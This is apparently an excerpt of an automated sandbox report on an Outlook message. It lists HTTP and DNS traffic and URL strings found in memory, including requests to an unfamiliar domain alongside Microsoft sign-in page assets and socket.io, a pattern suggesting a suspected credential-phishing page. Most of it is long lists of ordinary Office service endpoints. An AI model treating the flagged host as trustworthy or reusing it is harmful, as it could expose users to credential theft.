Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: marty-n.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+d3uuy6YdV8yVhl&MD=lvxVbZ8h HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: global traffic	DNS traffic detected: DNS query: marty-n.com
Source: global traffic	DNS traffic detected: DNS query: cdn.socket.io
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: www.w3schools.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: http://b.c2r.ts.cdn.office.net/pr
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: chromecache_96.15.dr	String found in binary or memory: https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.
Source: chromecache_101.15.dr, chromecache_96.15.dr	String found in binary or memory: https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e3281710
Source: chromecache_101.15.dr, chromecache_96.15.dr	String found in binary or memory: https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49_6ffe0a92d779c878835b40171ffc
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/authenticated
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://addinslicensing.store.office.com/apps/remove
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://api.aadrm.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://api.aadrm.com/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://api.addins.omex.office.net/api/addins/search
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://api.cortana.ai
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://api.diagnosticssdf.office.com/v2/feedback
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://api.diagnosticssdf.office.com/v2/file
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://api.microsoftstream.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://api.office.net
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://api.officescripts.microsoftusercontent.com/api
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://api.onedrive.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/imports
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://api.scheduler.
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://apis.mobile.m365.svc.cloud.microsoft
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://app.powerbi.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://augloop.office.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://augloop.office.com/v2
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://canary.designerapp.
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designer-mobile
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/fonts
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/mobile-assets
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/mobile-dynamic-strings
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/mobile-home-screen
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/mobile-toolbar
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://cdn.entity.
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://cdn.hubblecontent.osi.office.net/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://cdn.int.designerapp.osi.office.net/fonts
Source: chromecache_101.15.dr, chromecache_96.15.dr	String found in binary or memory: https://cdn.socket.io/4.6.0/socket.io.min.js
Source: chromecache_84.15.dr	String found in binary or memory: https://cdn.socket.io/4.7.5/socket.io.min.js
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://clients.config.office.net
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://clients.config.office.net/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://clients.config.office.net/c2r/v1.0/DeltaAdvisory
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://clients.config.office.net/c2r/v1.0/InteractiveInstallation
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://consent.config.office.com/consentcheckin/v1.0/consents
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://consent.config.office.com/consentweb/v1.0/consents
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://cortana.ai
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://cortana.ai/api
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://cr.office.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://d.docs.live.net
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://designerapp.azurewebsites.net
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://designerappservice.officeapps.live.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://dev.cortana.ai
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://devnull.onenote.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://directory.services.
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://ecs.office.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://ecs.office.com/config/v1/Designer
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://edge.skype.com/registrar/prod
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://edge.skype.com/rps
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://enrichment.osi.office.net/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/v2.1601652342626
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://fpastorage.cdn.office.net/%s
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://fpastorage.cdn.office.net/firstpartyapp/addins.xml
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: chromecache_101.15.dr, chromecache_96.15.dr	String found in binary or memory: https://google.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://graph.windows.net
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://graph.windows.net/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/pivots/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?secureurl=1
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://ic3.teams.office.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://inclient.store.office.com/gyro/client
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://inclient.store.office.com/gyro/clientstore
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://invites.office.com/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://lifecycle.office.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://login.microsoftonline.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://login.microsoftonline.com/organizations
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: OUTLOOK_16_0_16827_20130-20241025T1607290040-6540.etl.8.dr, 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://login.windows.local
Source: OUTLOOK_16_0_16827_20130-20241025T1607290040-6540.etl.8.dr	String found in binary or memory: https://login.windows.localMiR
Source: OUTLOOK_16_0_16827_20130-20241025T1607290040-6540.etl.8.dr	String found in binary or memory: https://login.windows.localnull
Source: OUTLOOK_16_0_16827_20130-20241025T1607290040-6540.etl.8.dr	String found in binary or memory: https://login.windows.localnullD
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: chromecache_101.15.dr, chromecache_96.15.dr	String found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_7cc096da6aa2dba3f81fcc1c8262157c.pn
Source: chromecache_96.15.dr	String found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.sv
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://make.powerautomate.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://management.azure.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://management.azure.com/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://messagebroker.mobile.m365.svc.cloud.microsoft
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://messaging.action.office.com/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://messaging.action.office.com/setcampaignaction
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://messaging.action.office.com/setuseraction16
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://messaging.engagement.office.com/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://messaging.engagement.office.com/campaignmetadataaggregator
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://messaging.lifecycle.office.com/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://messaging.lifecycle.office.com/getcustommessage16
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://messaging.office.com/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://mss.office.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://my.microsoftpersonalcontent.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://ncus.contentsync.
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://ncus.pagecontentsync.
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://ods-diagnostics-ppe.trafficmanager.net
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://officeapps.live.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://officepyservice.office.net/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://officepyservice.office.net/service.functionality
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://onedrive.live.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://onedrive.live.com/embed?
